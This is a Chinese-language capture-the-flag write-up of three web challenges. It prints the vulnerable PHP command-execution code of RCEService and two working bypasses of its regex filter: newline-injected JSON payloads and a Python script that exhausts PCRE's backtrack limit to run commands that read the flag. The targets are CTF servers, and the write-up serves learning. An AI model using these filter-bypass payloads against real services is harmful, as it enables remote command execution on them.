[FBCTF2019]RCEService

image-20210124122104733

json教程:

https://www.runoob.com/json/json-tutorial.html

json就算以前说的前后端传输数据的时规定都可以解析的语言!!!

{"cmd":"ls"}

{"cmd":"ls"}
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

linux 查看环境变量和修改环境变量:

https://blog.csdn.net/w6028819321/article/details/21600423

$ echo $PATH

env|grep PATH

一、查看环境变量
$ env
二、查看PATH
$ echo $PATH

Linux环境变量的设置和查看:

https://blog.csdn.net/zqixiao_09/article/details/50340153

常用的环境变量

  PATH 决定了shell将到哪些目录中寻找命令或程序

  HOME 当前用户主目录

  HISTSIZE 历史记录数

  LOGNAME 当前用户的登录名

  HOSTNAME 指主机的名称

  SHELL   当前用户Shell类型

  LANGUGE  语言相关的环境变量,多语言可以修改此环境变量

  MAIL   当前用户的邮件存放目录

  PS1   基本提示符,对于root用户是#,对于普通用户是$

方法一

过滤的很严,但是可以绕过preg_match函数本身

第一种方法:因为preg_match只会去匹配第一行,所以这里可以用多行进行绕过

源码中可以看到putenv(‘PATH=/home/rceservice/jail’)已经修改了环境变量,我们只能用绝对路径来调用系统命令:

image-20210124161159707

因为这个里面过滤的反斜杠!
直接在浏览器里测试!
{"cmd":"ls"}
/home/rceservice/



{%0A"cmd":"/usr/bin/find%20/%20-name%20flag"%0A}
{%0a"cmd":"/usr/bin/find / -name flag"%0a}

{%0a"cmd": "/usr/bin/tac /home/rceservice/flag"%0a}
{%0A"cmd": "/usr/bin/tac%20/home/rceservice/flag"%0A}

方法二

php正则回溯

P神:

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'

res = requests.post("http://challenges.fbctf.com:8085/", data={"cmd":payload})
print(res.text)

image-20210124180123783

import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'


params = {
'cmd': payload

}
res = requests.get("http://5268dafc-2f6e-48e8-9f5b-bfd525f33467.node3.buuoj.cn", params=params)
print(res.text)

414 URI Too Long

请求的 URI 长度超过了服务器能够解释的长度,因此服务器拒绝对该请求提供服务。这比较少见,通常的情况包括:本应使用 POST 方法的表单提交变成了 GET 方法,导致查询字符串(Query String)过长。

[BJDCTF 2nd]elementmaster

image-20210124211014274

image-20210124211100693

考的是化学元素!!!

#coding:utf-8
import requests

url='http://3d062f82-c64f-4e38-9b45-94265fabea1d.node3.buuoj.cn/'
flag=''
element=['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br',
'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te',
'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm',
'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',
'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']

for i in element:
r=requests.get(url+i+'.php')
if r.status_code == 200:
flag+=r.text
print (flag)

And_th3_3LemEnt5_w1_De5tR0y_y0u.

把所有的化学元素按顺序跑一边!!!

[GKCTF2020]EZ三剑客-EzWeb

image-20210124212005660

这个ssrf有点意思!!!

可是redis!还不知道!gophar也不清楚!😵

学习!!!

https://blog.csdn.net/qq_45521281/article/details/106532501

https://www.freebuf.com/sectool/157466.html

https://geeeez.github.io/2020/02/11/SSRF%E7%9A%84%E9%82%A3%E4%BA%9B%E4%BA%8B/